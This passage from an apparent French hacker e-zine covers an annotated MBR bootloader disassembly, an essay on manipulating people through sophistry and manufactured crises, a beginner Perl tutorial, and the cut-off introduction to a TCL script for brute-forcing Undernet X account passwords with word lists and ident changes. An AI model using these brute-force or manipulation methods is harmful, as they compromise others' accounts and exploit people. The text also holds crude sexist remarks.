BSDI file system (secondarily swap) B8h BSDI swap partition (secondarily file system) C1h DR DOS 6.0 LOGIN.EXE-secured 12-bit FAT partition C4h DR DOS 6.0 LOGIN.EXE-secured 16-bit FAT partition C6h DR DOS 6.0 LOGIN.EXE-secured Huge partition C7h Syrinx Boot DBh CP/M, Concurrent CP/M, Concurrent DOS DBh CTOS (Convergent Technologies OS) E1h SpeedStor 12-bit FAT extended partition E3h DOS read-only E4h SpeedStor 16-bit FAT extended partition F2h DOS 3.3+ secondary F4h SpeedStor FEh LANstep FFh Xenix bad block table Toute ces informations, contenu dans la table de partition seront utilisées ultérieurement lors de l'exécution du MBR pour déterminer où se retrouve le boot sector à chargé en mémoire. Lorsque vous installer un boot loader (XOSL par exemple), il modifie le MBR plus particulièrement le "master bootstrap loader code" pour lui permettre de prendre le contrôle au démarrage et d'afficher un choix à l'utilisateur. Si vous n'avez pas de boot loader, le code vérifiera pour trouver la partition active. Avec les informations concernant cette partition, le code mettra en mémoire le premier secteur logique (BS) et transfèrera le contrôle à cette adresse, le processeur débutant immédiatement l'exécution du code du BS. Si vous trouver utile de savoir ce que fait concrètement le MBR continuer à lire. Voici le master bootstrap loader code d'un de mes disque dur sans boot loader. Par contre, il se peut que le votre diffère légèrement. On déplace le code ailleur puisque l'on veut charger le BS à l'adresse où nous sommes présentement 0000:7C00 FA CLI Empèche les interruptions 0000:7C01 33C0 XOR AX,AX Stack segment à 0000 0000:7C03 8ED0 MOV SS,AX 0000:7C05 BC007C MOV SP,7C00 Stack pointer à 7c00 0000:7C08 8BF4 MOV SI,SP SI à 7c00 0000:7C0A 50 PUSH AX 0000:7C0B 07 POP ES 0000:7C0C 50 PUSH AX 0000:7C0D 1F POP DS 0000:7C0E FB STI Remet les interruptions 0000:7C0F FC CLD Clear direction 0000:7C10 BF0006 MOV DI,0600 Destiny index pointer (où on va copier le mbr) 0000:7C13 B90001 MOV CX,0100 on déplacera 256 mots (512 octets) 0000:7C16 F3A5 REP MOVSB déplace le MBR de 0000:7c00 à 0000:0600 0000:7C18 EA1D060000 JMP 0000:061D jmp to NOUVEL_EMPLACEMENT NOUVEL_EMPLACEMENT: maintenant à 0000:0600 0000:061D BEBE07 MOV SI,07BE source index register à la première entrée de la table de partition 0000:0620 B304 MOV BL,04 compteur pour 4 T. de P. LOOP1: recherche une partition valide 0000:0622 803C80 CMP BYTE PTR [SI],80 est-ce la partition active? 0000:0625 740E JZ PARTACTIVE_TROUVE oui 0000:0627 803C00 CMP BYTE PTR [SI],00 sinon, est-ce une partition inactive? 0000:062A 751C JNZ PARTNON_ACTIVE oui 0000:062C 83C610 ADD SI,+10 SI pointe sur le prochain enregistrement 0000:062F FECB DEC BL décrémente le compteur 0000:0631 75EF JNZ LOOP1 recommence si on a pas atteind la dernière entrée 0000:0633 CD18 INT 18 si on a atteind la dernière et aucune partition n'est active, goto rombasic PARTACTIVE_TROUVE: on a trouvé la partition active 0000:0635 8B14 MOV DX,[SI] initialise DH/DL pour l'INT 13 DH=tête DL=numéro de disque 0000:0637 8B4C02 MOV CX,[SI+02] initialise CH/CL pour l'INT 13 CH=numéro de cylindre CL=numéro de secteur 0000:063A 8BEE MOV BP,SI sauvegarde le pointeur de la partition LOOP2: On s'assure qu'il n'y a qu'une partition active 0000:063C 83C610 ADD SI,+10 SI pointe sur le prochain enregistrement 0000:063F FECB DEC BL décrémente le compteur 0000:0641 741A JZ LIRE_BOOT_SECTOR une seule partition active a été trouvé parmis les quatres, commence le boot 0000:0643 803C00 CMP BYTE PTR [SI],00 est-ce une partition inactive? 0000:0646 74F4 JZ LOOP2 oui, donc continue PARTNON_ACTIVE: la partition n'était pas une partition inactive, affiche un message 0000:0648 BE8B06 MOV SI,068B met l'adresse du message dans si AFFICHE_MSG: FONCTION POUR AFFICHER UN MSG (SI POINTE SUR LE MSG) 0000:064B AC LODSB charge le premier caractère du message dans ax 0000:064C 3C00 CMP AL,00 détermine si on est au caractère \0 (fin du message) 0000:064E 740B JZ STOP oui 0000:0650 56 PUSH SI sauvegarde SI 0000:0651 BB0700 MOV BX,0007 option d'affichage (BH video page, BL color to use) 0000:0654 B40E MOV AH,0E fonction 0e (affiche 1 caractère) 0000:0656 CD10 INT 10 interupt 10 (bios) 0000:0658 5E POP SI restaure SI 0000:0659 EBF0 JMP AFFICHE_MSG affiche la prochaine lettre du message STOP: 0000:065B EBFE JMP STOP boucle infini LIRE_BOOT_SECTOR: lit le boot sector de la partition active 0000:065D BF0500 MOV DI,0005 on essaira de lire 5 fois INT13RETRY: 0000:0660 BB007C MOV BX,7C00 destination de la lecture 0000:0663 B80102 MOV AX,0201 lit un secteur à l'adresse SI ah=2h (fonction 2 du int 13) al=1h (quantité) 0000:0666 57 PUSH DI sauvegarde DI 0000:0667 CD13 INT 13 lit le secteur à 0000:7c00 0000:0669 5F POP DI restaure DI 0000:066A 730C JNB INT13OK si il y a eu erreur 0000:066C 33C0 XOR AX,AX AX=0 0000:066E CD13 INT 13 réinitialise le disque (int 13h fonction 0h) 0000:0670 4F DEC DI décrémente DI 0000:0671 75ED JNZ INT13RETRY recommence si DI différent de 0 0000:0673 BEA306 MOV SI,06A3 on a pas réussi à loader le boot sector SI pointe à l'adresse du message d'erreur 0000:0676 EBD3 JMP AFFICHE_MSG affiche le message INT13OK: 0000:0678 BEC206 MOV SI,06C2 message d'erreur 0000:067B BFFE7D MOV DI,7DFE pointe sur la signature 0000:067E 813D55AA CMP WORD PTR [DI],AA55 est-elle équivalente à 55AAh ?? 0000:0682 75C7 JNZ AFFICHE_MSG non, on affiche le message ( boot sector not valid.. ) 0000:0684 8BF5 MOV SI,BP sinon, 0000:0686 EA007C0000 JMP 0000:7C00 transfère le contrôle au boot sector de la partition active, SI pointe sur l'enregistrement correspondant dans la table de partition Et le boot sector débute le chargement du système d'exploitation... Si vous étiez complètement perdu dans ce code peut-être devriez-vous lire quelques peu sur le langage d'assemblage. Un mot très rapide sur le langage d'assemblage pour les non-initié: Les registres (16-bit uniquement) utilisé dans notre code: Leur nom et utilité: AX Accumulator BX Base register CX Counting register DX Data register DS Data segment register ES Extra segment register SS Battery segment register CS Code segment register BP Base pointers register SI Source index register DI Destiny index register SP Battery pointer register IP Next instruction pointer register F Flag register Certains registres dont AX, BX, CX, DX peuvent être séparé en deux parties: les bits du haut et ceux du bas. La partie du haut de AX se nomme AH et la partie du bas AL (High et Low). De cette façon, on peut manipuler un octet à la fois. Des instructions... : MOV: déplace une valeur dans un opérande ex: MOV AX, 80h <- met 80h dans le registre AX DEC: décrémente de 1 l'opérande ex: DEC AX JXX: instruction JUMP. JMP: jump inconditionel (on saute à l'adresse dans tous les cas) JNZ: jump not zero JZ: jump zero INT: une interruption. Il existe quatre types d'interruption: Hardware Interne (CPU) Hardware Externe (clavier, imprimante..) Software (BIOS et OS) Les INT utilisé dans le MBR sont des interruptions logiciels du BIOS. Ces interruptions sont des fonctions mis à notre disposition par le BIOS. Les interruptions sont séparé en catégories. Certaines interruptions du BIOS par exemple: Int 10H: Video Int 16H: Clavier Int 17H: Imprimante Chaque interruption regroupe plusieurs fonction. Pour Int 16h: 00H lit un caractère du clavier 01H lit l'état du clavier Pour utiliser une fonction on initialise ah avec le numéro de la fonction et appele l'interruption. ex: mov ah, 00h int 16h Note: On doit souvent mettre d'autre paramètre dans d'autre registre. XOR: ou exclusif (bit à bit) XOR AX,BX met le résultat dans AX XOR AX,AX donne évidemment toujours 0. POP et PUSH (opérateur de la pile système). PUSH: met une valeur sur la pile système POP: met la première valeur sur la pile système dans l'opérande ex: mov AX, 1h push AX pop BX BX sera égal à 1h et à AX :) J'espère que ce cours texte vous aura été utile. Orange_ .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' fuck yon mit 2 Evil-Mindkind-Monk dans mon winamp. jpense ma virer au drogues dures. .--. .----------------------------------------------------------------/ /--. | la meilleur facon d'imposer une idee aux autres, / / | | c'est de leur faire croire qu'elle vient d'eux meme / / 11 | | aka jasmine , c'a serait bien le fun que tu me passe le sel / / | '------------------------------------------------------------/ /------' '--' Cette article n'est que pure fabulation, alors si quelqu'un ici a cru qu'il sagissait, d'un moyen infaillible en 12 etape de realiser un mind overflow pour prendre le controle de sa victime, et d'allee lui faire vous donnez le # de sont compte de banque, vous etes dans lerreur si vous etes en train de lire cette article parce que vous ete en manque d'article car mindkind 05 n'est pas sortie aujourdhui comme prevue et que vous vous souveniez d'un article qui vous rappellais quelque chose sans y avoir vraiment compris quelque chose de concret, vous etes p-e alors dans le bon article. Faire faire ce que l'on veut au autre, c'est un peu comme etre tout le monde a la fois, un peu comme etre la personne avec qui vous parlez et vous adaptez a chaque decision, comprendre comment une personne pense et reagie, pour ce faire, nous avons besoin d'un principe que j'appelle, psychohistoire, en usant des grande tendances on ne se trompe que 20% du temps. on peu toujours reajuster sont tir la prochaine fois. L'a facon la plus facille de faire partir quelqu'un c'est parfois de l'amener a ne pas vous trouvez interressant, tout en ayant l'air tout a fait interresse dans ce qu'on raconte et c'est dautant plus facile lorsqu'on est nous meme persuader que ce que nous racontons est magnifique. parlez de science a un sportif, de sport a un scientifique, d'art a adolescent, de la vie de tout les jours a qui vous demande quoi de neuf, (histoire qui pourrais etre terriblement longue si vous ne l'avez jamais rencontrez au paraven). parlez par exemple de la soupe wong tong qui est tomber sur le dessus de votre pentalon lundi passee comme si c'etais l'histoire la plus stressante qui vous etais arrivez cette semaine. De toute facon, si vous faite partie du mauvais 95% des gens qui habite cette planete, c'est vraiment levenement le plus stressant que vous ayez eux cette semaine. Evidament pour interresser qu'elle qu'on on fait le contraire. on discute de science avec les scientifique, de sport avec les sportifs, vous raconter nimporte quoi a quelququ'un qui aime les truc weird. de potin avec les filles, de char avec votre garagiste. d'impot avec votre notaire, de femmes avec vos compagnon male de travail, de virginie avec vos compagnon femele de travail. ayez que trop tot 'envie de lui demander comment il va, vous verrait vite s'il veut vraiment vous parlez. ne parlez pas au gens qui ne veulle pas vous parlez, il ne voudrais pas vraiment vous dire de quoi d'interressant anyway. ne regardez jamais les seins dune fille qui vous parle, mais regarder les culs de toute les filles qui passent, specialement si vous etes avec vos compagnons de travaille. si vous voullez restez neutre, aprouver ceux qui sont pour, et aprouver aussi ceux qui sont compte en vous appitoyant sur le fait qu'une fille n'est pas un objet, et par la suite regretez d'etre le seul a ne pas avoir regarder quelque chose que vous trouviez beau. Ne vous pressez pas, demain arrive si tot de toute facon ou voudriez vous allez a pied, alors que vous changez d'endroit dans l'univers a 16000km/s, c'est bete hein, alors, un jour que vous que vous serez occuper a faire du sur place a 16000km/s demandez vous, qui est se type qu'il vous a vaguement repondu quelque chose de vague la semaine passee, vous avez cependant discuter pendant une heure et vous ne pouvez pas savoir de cette personne qu'elle travaile (a quelque par), possede un chandail gris, et a eu une tache de sauce sur sa cuisse, la semaine davant. un type qui pourtant d'apres vos amis commun est super gentil, p-e n'avez vous pas bien repondu a la question, qu'est-ce que tu as fait de bon dernierement ? Si votre reaction en entendant une repartie comme celle ci : [16:12:08] toi ? [16:12:25] po pire [16:12:45] que me vaut lhonneur de ta visite ? [16:13:11] jaser [16:13:15] asv stp? [16:13:31] 21 g quebec [16:13:37] et toi ? [16:13:44] 15 f pointo [16:14:26] ha bon [16:15:55] pis koi de 9? [16:16:06] hum [16:16:08] toute ma vie [16:16:35] si on considere depuis la derniere foi quon s'est vu [16:16:54] c qui? [16:17:06] na [16:17:09] on c jamais vu [16:17:17] c pourquoi toute ma vie serais neuve pour toi [16:17:17] jcrois po [16:17:22] donc sa serais un peu long a raconter [16:17:29] c koi tu dit toe [16:18:23] ben [16:18:27] tu ma demander quoi de neuf [16:18:33] quoi de neuf depuis quand ? [16:18:45] habituellement la derniere foi qu"on" saif vu [16:18:48] depuis cette semaine [16:18:51] mais comme on ceat jamais vu [16:18:57] ben jaurais toute ma vie a compter [16:19:14] ben c bo laisse faire k [16:19:18] hum, depuis cette semaine, la meme chose que dhabitude [16:22:43] pis c koi tu fais dhabitude? [16:23:49] jtravaille, jva a lecole, jtaponne su mon ordi, pi jattend le vendredi pour aller sortir [16:24:13] k [16:25:58] cette semaine par contre, jsuis allee a lepicerie, et jai acheter des croquette de poisson, des tite patate congeler, deux douzaine de hot dog, des pains, (pour allez avec les hot dog),dautre pains (pour faire des desjeuner). du jus en cannes, des cannes de sauce a spagh, pi des sac de poubelles [16:25:59] The nick 'miss2001' is no longer on IRC de croire que je suis fou, non, la reponse est tout simplement que jessais de savoir si vous etes assez fou pour que ca vaille la peine de vous parler (entre les lignes ca veut dire, jvous montre comment je suis pas interressant pour que vous arretez de me parler, car je sais dejas que je suis pas interressez par ce que vous avez a me dire). Vous allez vous meme decidez de ne plus me parler. je ne vous aurez jamais dit par contre que je ne voullais pas vous parlez, je n'ai pas eu a le faire, vous avez pris la decision vous meme et vous ne regreterez meme pas davoir pris une t'elle desision, car apres tout , je ne suis q u'un debile, non mais ta vue les connerie qui raconte ste gars la ?, c'est plate et puis on comprend rien. Effectivement, vous avez rien compris. Mais ne vous en faites pas, 95% des gens sont comme vous, c'est rassurent hein ? :] et malgres tout, vous etes malgres ca, tout a fait unique, comme toute les autres :]. si ici vous commencez a comprendre quelque chose, vous etes pas pire. D'autre exemple ? en effet, savoir comment faire fuir les gens n'est pas quelque chose de tres compliquer. Savoir comment les convertirs, ou simplement leur faire faire quelque c hose, est plus compliquer. Evitons premierement le chantage evidant, il est oui tres efficace, mais aussi trop grossier et laisse des marques sur le psychique du sujet. Un chantage plus subjectif lui, peu sembler moin efficace, mais il entraine une motivation plus grande de la par du sujet (on est toujours plus motiver lorsque l'on fait les choses pour nous meme (la vous allez dire que c'est pour quelqu'un d'autre, mais c'est a la fois vrai et faux). La manipulation suggestive, se fait via l'entremise d'un choix au sujet, un interressant ( notre projet) et un sans envergure (on peu souvent s'inspirer de sa propre vie, enfin, n'esitez pas a faire l'utilisation de sophisme). Comme le sujet choisi ce qui lui plais le plus, ca devien aussi sont projet, et plus se projet s'averera succueux, plus le sujet se vera moralement bien disposer a contribuer au success du projet. Si le moral vien a manquer, n'esitez pas a creer un evenement perturbateur. Qui unifira votre groupe pour sa survie (genre une guerre, trouver un competiteur a detruire pour prendre sa place, quelque chose qui nuit a l'epanouissement du projet). C'est dans la nescessiter que l'homme aprend a trouver la force de se surpasser et de realiser ces plus grand projets. Bref ici encore amener la personne convoiter a s'offrir elle meme pour faire ce que vous desiriez lui demander. wyzeman .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' | --/ -/---------------------------------. +------------------------+ | | | --------------------------------; | | Do Not Try This AT | | | | | | | | HOME ! | | | | | | | | -- ---- ---- --- | | | |Better idea to try at --| +-----+ |your Best-Friend House. | | | | | \-----/ +------------------------+ ** *** **** ****** <---- Mindkind, La goutte ** **** qui fair deborder ** ***** l'intellect. * ******* *********** *********** ********* ***** ** ** * *********** /// ** ** * \\\ // MINDKIND \\ / -- ** -- \ | | 0| **** |0 | | | -- * * -- | | * -- * | | * | |* | | * == * | | <__*__________ | \ * / \\ ** // \\\ * /// ---------- .--. .----------------------------------------------------------------/ /--. | Perl : à la conquête du chameau / / | | / / 12 | | une chronique Mindkind / / | '------------------------------------------------------------/ /------' '--' Disclaim ¯¯¯¯¯¯¯¯ Vous avez bien lu, cet article est le premier d'une série, donc une chronique sur le Perl. Ça me tantait de faire comme ça, car j'ai pour objectif premier de maitriser le Perl du mieux possible. Un des meilleur moyens pour apprendre, et bien sur d'écrire ce qu'on a apprit. Si des gens apprécient ces articles, apprennent quelque chose, tant mieux. Je vais donc tacher de couvrir tout ce que je peux sur le Perl en un nombre encore indéterminé d'articles. J'ai dla chance car dès le début de la lecture de "Programming Perl" j'ai adoré le langage.Vous allé surement comprendre pkoi, si vous avez déjà quelques langages en banque.. par contre ceux qui débute en programmation vont aussi l'aimer, mais je crois que ça aurait des effets néfastes dans leur apprantissage de la prog : Le Perl est un langage "relaché" qui nous permet de faire autant de conneries qu'en QBasic et autant de difficulté qu'en C. Ya des livres de références/articles sur Perl qui sont très bien structuré, qui suive toute dans l'ordre, qui dise d'utiliser strict (option explicit en vb) et blah blah, dans mon cas jvais pas faire ça, je vais y allé comme ça passe, un peu comme le livre que jai lu (qui est excellent d'ailleur, voir note de bas d'article). Donc, si ta jamais programmé de ta vie jchte conseil soit de suivre un cours, lire un livre sur la prog, toucher un peu a tout.. et revenir ici :-) Mais bon tu peux continuer a lire tu vas voir.. le Perl est facile au début comme langage, mais il devient de plus en plus "fucker", et ça le monde _normal_ (qui ont presk jamais coder) vont s'y rebuter assé vite. C'est comme apprendre à coder junk food, on peut faire du junk food avec le Perl, mais on peut être aussi des codes poètes. Ah oui, j'oubliais, la plupart du monde pense au perl comme CGI/Perl.. c'est vrai que c'est une des applications les plus courantes du Perl, mais le Perl lui même est un langage qui sert a faire n'importe quoi, donc j'vais pas parler que des fonctions CGI, même que je pense bien ne pas traiter du CGI dans la conquête du chameau.. si jen traite ça va être juste comme une biliothèque/module de Perl comme les autres. bon 'nuff said, fonçont vers la conquête du chameau... Un chameau ça fait "mwauh" ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Je suis supposer de parler de programmation, mais vous allé le voir tout de suite, Perl c'est autre chose que juste un langage, ctun élément. heh Les gens associe le chameau avec Perl, paske O'Reilly est le distrib des livres officiels, et y'on choisit le camel comme bête. Le hic c'est que c'tun dromadaire. (ya juste une bosse). Nyways, il l'ont copywrité pis yon apeller ça un camel, donc ils peuvent faire ce qu'ils veulent :-) Avec le temps les programmeurs Perl ont commencés a parler du livre "Programming Perl" comme étant "the camel" (le chameau), et c'est donc a partir de dla que a peu près tout le monde lorsqu'ils voyent un chameau, pense à Perl. La licence de O'Reilly sert a protégé le chameau, car il est voit d'extinction. (remplacer chameau par Perl et voit d'extinction par GPL). Donc la si vous voyez qqn avec un tshirt "i luv camel" c'est soit un perl programmer ou un arabe qui pratique la zoophilie. (je tiens ici a m'excuser devant tout les programmeurs perl arabes). On peut retrouver la communautée Perl a peu près partout sur Internet. Principalement ya www.perl.com qui est le site de O'Reilly et www.perl.org qui est le site des perl mongers : une gagne de freak qui trippent Perl. Vous pouvez aussi allé voir le site de la gagne de montreal, mais yé pas assé updater à mon goût. http://montreal.pm.org De kc que cé que Perl? ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Le Perl est un langage pour faire rapidement et efficacement ce que vous avez a faire. Une des philosophies de Perl est qu'il y a plusieurs moyens d'arriver à un même résultat. C'est aussi un langage qui est interprêté : Donc aucune compilation est nécessaire, on passe à Perl notre code et il l'exécute. Ne vous en faite pas cé pas "slow", car c'est pas un langage trop "jeuno", il a été inventé par Larry Wall en 1987 et depuis ce temps bcp d'optimisations et de changements ont été apportés. Perl veut dire "Practical Extraction and Report Language". Et oui, ça sert principalement à lire d'la shit , pis dumper dla shit. Remarquez que comparé au COBOL, il est plus efficace, même que comparé au C ou au C++ il est plus efficace pour travailler avec des strings, pour ne pas dire "puissant". Perl ressemble au C, au BASIC, à Awk, au Python et à l'anglais. Parmis les 3 langages que je connais dans ce tas, (c/basic/anglais) jpeux vous dire que c'est vrai.. bon, sautont dans le code. Les variables ¯¯¯¯¯¯¯¯¯¯¯¯¯ Les types de variable en Perl sont déterminer par des "funny caracters" devant le nom de celle-ci. Genre $a est une variable scalaire, @a un array. Voici un ti tablo des var dispo: |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | Type Funny Char Exemple ce que c'est: | |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | Scalaire $ $meuh une valeur "individuelle" (une string, | | des chiffres..) | | Array @ @pwet un tablo indexé avec des numéros | | Hash % %hehe un table indexé avec des strings | | Subroutine & &kossin un morco de code Perl quon peut caller | | Typeglob * *unf n'importe quoi | |_______________________________________________________________________| Donc, oui, il ny a pas de variable int, long, string char, ou etc. La variable de base scalaire peut être de deux types sans quon le spécifie. Par exemple $pwet = "meuh"; va devenir une string et $pwet = 22; va devenir un nombre. On peut aussi entrer plusieurs type de nombre : un integer (12345), un floating point (1.1234), une notation scientifique (3.33e23), du hexadecimal(0xffff), etc. Les strings sont toutes aussi intéressentes. Comme en C elles peuvent contenir des caractères backslashés comme \n pour changer de ligne \t pour un tab, \a pour une alert (le ti bip la). Évidamment, on écrit le caractère \ avec \\. Aussi il existe différente sortes de quotes. "" sert à quoter une string avec interpolation. L'interpolation est le remplacement de variables dans une string, par exemple si j'écris "salut $nom" le $nom va être remplacé par sa valeur car "" donne de l'interpolation. On peut aussi remplacer les "" par qq// ou on mets la string voulu entre //. par exemple qq/salut/ donne la même chose que "salut". '' q// String non-interpolable "" qq// String interpolable `` qx// Exécution de commande interpolable () qw// Liste de mot non-interpolable Parlant de liste de mots, voyont un peu les Array. Le funny char @ a été choisis pour dire @rray (heh pour vrai). Voici comment on peut construire un array: @kossins = ("pwet", "meuh", "unf", "bleh"); On peut accèder aux éléments du tableau de la manière suivante : $kossins[0] $kossins[1] (ça commence à 0 comme en C). Vous pouvez aussi prendre justement le qw// de la liste de mot pour remplir votre array : @kossins = qw(pwet meuh unf bleh); aussi on peut ressortir les éléments de la liste : ($a, $b, $c, $d) = @kossins; Il existes aussi 2 fonctions qui servent a travailler avec les @ : push et pop. Vous pouvez donc voir un array comme une pile que l'ont peut empiler et dépiler, après tout c'est ça une pile :-) donc : push @kossins, "blew"; si on veut printer le dernier élément de la pile pis la sortir de dla : print pop @kossins; Tant qua faire y devrait avoir de quoi pour travailler avec le array comme une liste? et oui, ya shift et unshift. shift permet de prendre le premier élément de la liste, de le sortir, et de toute tassé les autres. Donc un shift @kossins; retourne "pwet" et place "meuh" à la position 0 "unf" a la 1 etc... unshift lui fout une liste au début de l'array, donc unshift @kossins, "allo"; met "allo" au début de la liste et tasse toute les autres d'une position. De plus, il existe une fonction pour virer ma liste de bord : reverse @kossins; retourne ("blew", "bleh", "unf", "meuh", "pwet"). fun huh? Les fonctions pour manipuler les structures de data sont donc direct dans le langage.. donc pas besoin de "includes" ou ben de se forcer pour trouver une pile a qqpart, ou pire la programmer nous autres même.. heh à mon avis je trouve ça assé hot merci.. mais checker ben les hash. Un hash, comme décrit plus haut, c'est un tableau indexé par des strings. Ce qui veut dire qu'on accède aux éléments de nos tableaux par des strings. Cpas un concept qui a été inventé, mais le fait que c'est directement dans le langage s'avère intéressent. On déclare un hash de la facon suivante : %pays = ("CA", "Canada", "US", "United State", "FR", "France"); Donc le "CA" est l'index pour désigné "Canada" on peut aussi utiliser une autre notation plus simple a visualiser (en faite vous remarquerez que => est la même maudite affaire que , c'est juste pour que ça fasse plus beau.) : %pays = ( "CA" => "Canada", "US" => "United State", "FR" => "France", ); Si on veut accèder à ce qui est contenu à la position "CA" on doit faire $pays{"CA"} ce qui nous retourne "Canada". Un hash n'est pas nécessairement classé comme vous le voulez. Un hash peut être manipulé exactement comme une liste. Vous vous rapellez des fonctions de tantot? et bien on peut les faires sur un hash. Regardont ce que ça donne si on print %pays; FRFranceUSUnited StateCACanada C'est l'ordre inverse de ma déclaration de tantot.. mais remarquer même à ça c'est pas nécessairement ça (un hash est faite pour être optimiser le plus possible, ya plein de code d'insertion et d'algo qui scrap toute en fin de compte). On peut donc voir un hash comme une liste (exactement comme on peut voir un array comme une liste). Donc la vous vous retrouver avec des hashes et arrays, qui se pop/push shift/unshift.. quoi de plus? et bien les classer en ordre! La fonction sort s'occupe de prendre une liste et de nous la redonner classée. Par défault, elle nous sort ça d'une manière standard (donc les # par ordre de grandeur et les string avec leurs valeurs ascii). Voici le résultat d'un sort sur mon hash de tantot : CACanadaFRFranceUSUnited State Je vais revenir ultérieurement sur la fonction sort, car elle peut faire bcp plus que ça :-) Évidamment nous pouvons faire des tableaux a plusieurs dimensions. @a = ( [ "oui", "non" ], [ "yes", "no" ], [ "dah", "niet" ], ); Donc la premiere dimension se trouve a être $a[] et la deuxième $a[][] Remarquer que si vous prenner les valeur direct du @a, vous allé vous retrouver avec une liste de références a des Array (paske finalement le array de premiere dimension se trouve a etre une référence aux autres dimension. Donc pour accèder au premier élément, je fait : print $a[0][0]; ce qui donne : oui Bon je crois que vous pouvez vous figurez out le reste. Je vais surement revenir une autre fois aux plusieurs dimensions.. paske quand on y pense la..on peut aussi le faire avec des hash pis des array! La ils nous reste & et *. Le & est pour appeller une sous routine. Je vais en parler ultérieurement, car nous avons pas vu encore les sous-routine. Le Typeglob * est utilisé pour pointer vers tout, et sert aussi dans un contexte de sous-routine, de namespace, et blah blah. Il se peut aussi que je n'ai pas parlé de TOUTE ce que l'on peut faire avec les variables.. encore la on sen fou, le Perl se doit d'être connu progressivement, je crois (heh ya pas dautre moyen, dune shoot cé comme "trop") et cette chronique va servir a ça. J'veux assayer! ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bon bien sure, c'est beau lire, mais assayer aussi est une bonne chose. Alors jvais prendre quelque instant pour vous montrer comme faire un script Perl qui "marche" (mais qui fait rien d'utile.. haha). allont y avec : print "Mindkind"; C'est tout. hehe Maintenant, avec quoi on interprête ça? Pour Windows allé voir la: http://www.activestate.com/ASPN/Downloads/ActivePerl/ Pour les système de type Unix : http://www.perl.com/pub/language/info/software.html Je crois que vous êtes assé futé pour vous débrouiller et l'installer tout seul.. surtout que dans la plupart des distribution Linux Perl est pré-installed... Bon, donc a l'avenir je vais juste parler de la version Unix style. Pour savoir la version que vous utilsez, faite en ligne de commande perl -v Dans mon cas ça donne : This is perl, version 5.005_03 built for i386-freebsd Si cé la box de votre ami servez-vous en pas pour la rooter, ça serait pas gentil. (Paske effectivement la 5.005 est une faille de sécu.) M'enfin, tant que vous avez la version 5 en montant vous êtes OK pour coder. Bon maintentant quon a notre interpréteur, faut savoir sen servir C'est vraiment pas compliquer, en ligne de commande : perl -e 'print "meh";' fait l'affaire. Mais metton que vous voulez faire un script de plus de une ligne, c'est tjrs le fun de le mettre dans un fichier, donc vous avez qua créer un fichier texte comme il vous chante et faire : perl nom_du_fichier Maintentant qqchose de encore mieux : Prenner le même fichier, rajoutez #!/usr/bin/perl en premiere ligne. maintentant chmod u+x votre fichier. Et voila c'est rendu un script perl autoexécutable-hyper-facile-fun-wouhou! :-) Bon je crois qu'il est temps de passer à la conclusion.. je vais revenir un jour sur les modes de lancement de l'interpréteur. (les options quoi) Conclusion ¯¯¯¯¯¯¯¯¯¯ Bon, voici la fin de cette article qui est donc le lancement d'une premiere chronique dans Mindkind. Je crois que je vais être "fort" sur les chroniques et thème qui revienne, car j'aime bien traiter un sujet en profondeur, et avoir le temps d'y réfléchir pour tjrs en rajouter plus avec le temps. J'espere que vous avez trouvé le langage Perl "cool" et que vous avez assayer qq print de variables. Déjà la avec un début comme ça, on voit que Perl nous réserve plein de surprise Il y aura donc suite à cette article dans les prochains # de Mindkind, alors revenez nous dans le #2 pour la suite de la conquête du chameau avec les opérateurs et les structures de contrôles! - LastCall_ ------------------ Liens référencés : http://www.perl.com http://www.perl.org http://montreal.pm.org http://www.activestate.com/ASPN/Downloads/ActivePerl/ http://www.perl.com/pub/language/info/software.html Pour une lecture plus détaillé référez-vous au livre suivant : -> O'Reilly Programming Perl 3rd Edition Avec comme mascotte le fameux chameau dans la collection des livres O'Reilly, ce livre est la bible, l'encyclopédie et l'almanac du Perl. Écrit par Larry Wall, le créateur de Perl lui-même, aidé par 2 Perl freaks, ce livre est tout simplement fantastique et agréable à lire (autant que difficile et hardu! heh). Dès le début je me suis beaucoup amuser tout en me rentrant dans la tête que Perl est _LE_ langage que j'étais pour aimer : Perl est construit pour rendre les travaux facile, facile sans rendre les travaux difficile infesable. .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' ne fait pas de pub sur les chan de #linux* petit conseil .--. .----------------------------------------------------------------/ /--. | l'ouvre boite est plus puissant que la plume / / | | a k a / / 13 | | quand une boite de tole en devisse un autre / / | '------------------------------------------------------------/ /------' '--' Undernet est c'est bug epais, c'est un peu comme microsoft. c'a bug, ca plante, ca splite, des robots qui attende leur marionettiste. C'est un peu comme microsoft, on chiale on chiale pi on en redemande encore. Alors pour ceux pour qui le mots elites et Lamers ne sont pas les base de leur sauvetage spirituelle (Pour etre elite faut pas etre lame donc faut faire ce qu'il font). Enfin, pour ceux qui en on rien a foutre, dispose d'un eggdrop qui idle sur IRC, voici un script TCL qui sert de bruteforcer de X (mouais notre nouveau X). Le fonctionnement est pas tellement compliquer que d'allumer une TV (sque vous pourrez faire en attendant que sa finisse car ca peu etre long avant darriver a des resultats (dependament de la qualiter et de la grosseur de votre word list (mettez ca sur votre liste d'epicerie cette semaine). Y'a pour l'instant aucun bug notoire dans le fonctionnement du script, mais je doute pas que vous allez vous faire un plaisir d'en decouvrire plein. Bon c'est lent car je fais attendre d'avoir eu un reply de x avant de renvoyer une autre requette. Et ce pour les raisons suivante, premierement pour ne pas flooder X et etre ignorer (meme si en changeant de ident 3x on peu arriver a ne plus etre ignorer). deuxiemement afin deviter de faire freezer le egg sur lequel roule le scripts (ce qui permet par le fait meme la gestion de gigantesque word list. Et ca ma permis deviter davoir a faire affaire avec des timers, qui sont plutot plate a utiliser en tcl pour eggdrop. J'ai prevu un systeme de detection de netsplit qui fait attendre gentilment votre egg que x revienne avant de continuer sont brute force. Une autre version sera releaser plus tard que vous 